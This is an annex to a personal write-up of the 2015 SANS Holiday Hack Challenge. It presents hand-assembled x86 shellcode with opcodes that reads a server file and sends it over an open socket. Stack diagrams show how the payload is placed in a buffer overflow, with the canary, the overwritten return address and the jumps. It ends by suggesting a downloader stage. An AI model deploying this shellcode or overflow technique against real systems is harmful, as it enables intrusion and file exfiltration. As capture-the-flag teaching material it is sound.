
A 2015 SANS Holiday Hack Challenge Journey : some additional payloads for SuperGnome 05
More complicated payloads !
This page is an annexe of A 2015 SANS Holiday Hack Challenge Journey.
As explained in the main story, once I had sent my reverse shellcode payload, I saw that I can't access to all server files and thank that it was a last trick
from Counterhack team (in fact I was accessing to my own computer like I forgot to witch servers addresses). 
So in order to avoid to call /bin/sh I start to write some asembly code to read a file and send it's content via the opened socket. I tried
the sys_sendfile API, but it seemed
that it doesn't work. So I came back with a good old read and write.
Welcome back in the early times of writing assembly mnemonics on paper, assemble it manually with opcode tables and try to survive to the nightmare of computing your two complement codes without error...
...ok, in fact, I wrote mnemonics with Notepad++, assemble it with this wonderful online x86/x64 assembler and compute my two's complement codes with this handy calculator and a little help of Windows calc. Oh, in case you have to refresh your memories about short relative jumps, you can read this excellent source. May be it will be usefull.
So, here is the code (for example to read /gnome/www/files/gnome.conf file) :
;
;   Here we have the opening socket code which is not reproduced. Please refer
;   to the main page for it.
;
    89 d5                  mov   ebp,edx      ; save socket file descriptor
    
; ------------------------
; Open file
; fd = open ( "/gnome/www/files/gnome.conf", O_RDONLY );
    ; 51 bytes
    6a 05                  push  5
    58                     pop   eax          ; syscall : open                                                 
    68 6f 6e 66 00         push  00666E6Fh    ; " fno" -> "onf\0"                  
    68 6d 65 2e 63         push  632E656Dh    ; "c.em" -> "me.c"
    68 2f 67 6e 6f         push  6F6E672Fh    ; "ong/" -> "/gno"
    68 69 6c 65 73         push  73656C69h    ; "seli" -> "iles"
    68 77 77 2f 66         push  662F7777h    ; "f/ww" -> "ww/f
    68 6d 65 2f 77         push  772F656Dh    ; "w/em" -> "me/w
    68 2f 67 6e 6f         push  6F6E672Fh    ; "ong/" -> "/gno"
    89 e3                  mov   ebx,esp      ; EBX refers filename
    31 c9                  xor   ecx,ecx      ; O_RDONLY
    31 d2                  xor   edx,edx      ; no 
    cd 80                  int   80h          ; kernel call
    89 c7                  mov   edi,eax      ; edi = file descriptor
    83 c4 1c               add   esp,0x1C     ; clean the stack 
; ------------------------
; Read file. We can ask to read a lot of bytes, read() will stop at
; the end of the file.
; c = read ( fd, buffer, 0x20000 )
    ; 20 bytes
    6a 03                  push  3
    58                     pop   eax          ; read function
    89 fb                  mov   ebx,edi      ; file descriptor
    81 ec 50 01 00 00      sub   esp,20000h   ; create a buffer in the stack
    89 e1                  mov   ecx,esp
    ba 50 01 00 00         mov   edx,20000h   ; 
    cd 80                  int   80h          ; kernel call
; ------------------------
; Send to socket
; write ( fdSocket, buffer, c )
    ; 17 bytes
    89 c2                  mov   edx,eax      ; EDX = number of bytes to write
    6a 04                  push  4
    58                     pop   eax          ; write function
    89 eb                  mov   ebx,ebp      
    89 e1                  mov   ecx,esp
    cd 80                  int   80h
    81 c4 50 01 00 00      add   esp,20000h   ; clean the stack
It's quick and dirty : no error control, no cleanup at the end... not to use at school. But it probably works.
There is a single problem : we have 84 bytes for our code where ESP refers, and this code is much longer. We can try to optimize it, again like at the time we played with the famous zx81 (one kb of ram, think of it !). But it probably won't be enough. So it will be a better idea to use the extra 100 bytes offered by the buffer before the stack frame and organize our payload as follows :
(lower memory addresses)
     
       Normal stack configuration                 After our buffer overflow
     
+-------------------------------------+      +-------------------------------------+ 
|  Space for the temporary variables  |      |                                     |
|   created by the compiler to call   |      |  Will be used for our variables and | 
|     functions from sgstatd()        |      |           memory buffers            |
|                                     |      |                                     |
+-------------------------------------+      +-------------------------------------+ <--    0  
| char bin[100] local variable        |      |  part_two:                          |
|                                     |      |    second part of our code          |   
|      100 (or 0x64) bytes long       |      |    + end of file opening            |
|                                     |      |    + file reading                   |
+-------------------------------------+      |    + send buffer through socket     |
|        ??? 4 bytes lost ???         |      |                                     |
+-------------------------------------+      +-------------------------------------+ <-- +104
|         Canary = 0xE4FFFFE4         |      |         Canary = 0xE4FFFFE4         |
+-------------------------------------+      +-------------------------------------+ 
|    EBP saved on sgstatd() entry     |      |          Unused junk value          |
+-------------------------------------+      +-------------------------------------+ <-- +112
|    Return address = 0x080492F4      |      |    Return address = 0x0804936B      |
+-------------------------------------+      +-------------------------------------+ <-- +116
|  fd parameter of sgstatd() function |      |         84 bytes available          |
+-------------------------------------+      |       First part of our code        |      
|      Other values store in stack    |      |    jmp code                         |
|                                     |      |  go_back:                           |
|                                     |      |    jmp part_two                     |
|                                     |      |  code:                              |
|                                     |      |     + creating and opening socket   |
|                                     |      |     + file opening (part 1)         |
|                                     |      |     jmp go_back                     |
|                                     |      +-------------------------------------+ <-- +200
(higher memory addresses)
We have to jump from the end of the first part of our payload to the start of the second part with two hops because we don't know the stack location and choose to use relative jumps, which are limited to 127 bytes backward.
This worked... until the stack smashed the second part of the code !
Remember where ESP refers ? Yes, at the begining of our first part of code... So when our code executes, the stack growths toward the low memory addresses and smashs our code :
(lower memory addresses)
     
     While executing our payload
     
+-------------------------------------+ 
|                                     |
|  Will be used for our variables and | 
|           memory buffers            |
|                                     |
+-------------------------------------+ <--    0
|  part_two:                          |
|    second part of our code          |   
|    + end of file opening            |
|    + file reading                   |
|    + send buffer^through socket     |
+                 |                    + <-- +104
|        Stack growing toward         |
+          lower addresses            + 
|         will smash code !           |
+                 |                   + <-- +112
|                 |                   |
+-------------------------------------+ <-- +116             <-- ESP just before our code execution
|         84 bytes available          |
|       First part of our code        |      
|    jmp code                         |
|  go_back:                           |
|    jmp part_two                     |
|  code:                              |
|     + creating and opening socket   |
|     + file opening (part 1)         |
|     jmp go_back                     |
+-------------------------------------+ <-- +200
(higher memory addresses)
We have to move ESP to a safer zone :
(lower memory addresses)
     
   Final organization of our payload
     
+-------------------------------------+ 
|                                     |
|  Will be used for our variables and | 
|    memory buffers in the stack      |
|                                     |
+-------------------------------------+ <--    0             <-- ESP after we modify it
|  part_two:                          |
|    second part of our code          |   
|    + end of file opening            |
|    + file reading                   |
|    + send buffer through socket     |
|                                     |
+-------------------------------------+ <-- +104
|         Canary = 0xE4FFFFE4         |
+-------------------------------------+ 
|          Unused junk value          |
+-------------------------------------+ <-- +112
|    Return address = 0x0804936B      |
+-------------------------------------+ <-- +116             <-- ESP at the just before our code execution
|         84 bytes available          |
|       First part of our code        |      
|    sub esp,120                      |
|    jmp code                         |
|  go_back:                           |
|    jmp part_two                     |
|  code:                              |
|     + creating and opening socket   |
|     + file opening (part 1)         |
|     jmp go_back                     |
+-------------------------------------+ <-- +200
(higher memory addresses)
Ok, now it works fine. You can check it with this payload
If we have to execute a more complicated piece of code, we could replace the opening reading and sending gnome.conf file by a piece of code which download the real piece to execute. In this manner, we won't be limited by our 200 bytes buffer. I let you this as an exercise ;-) !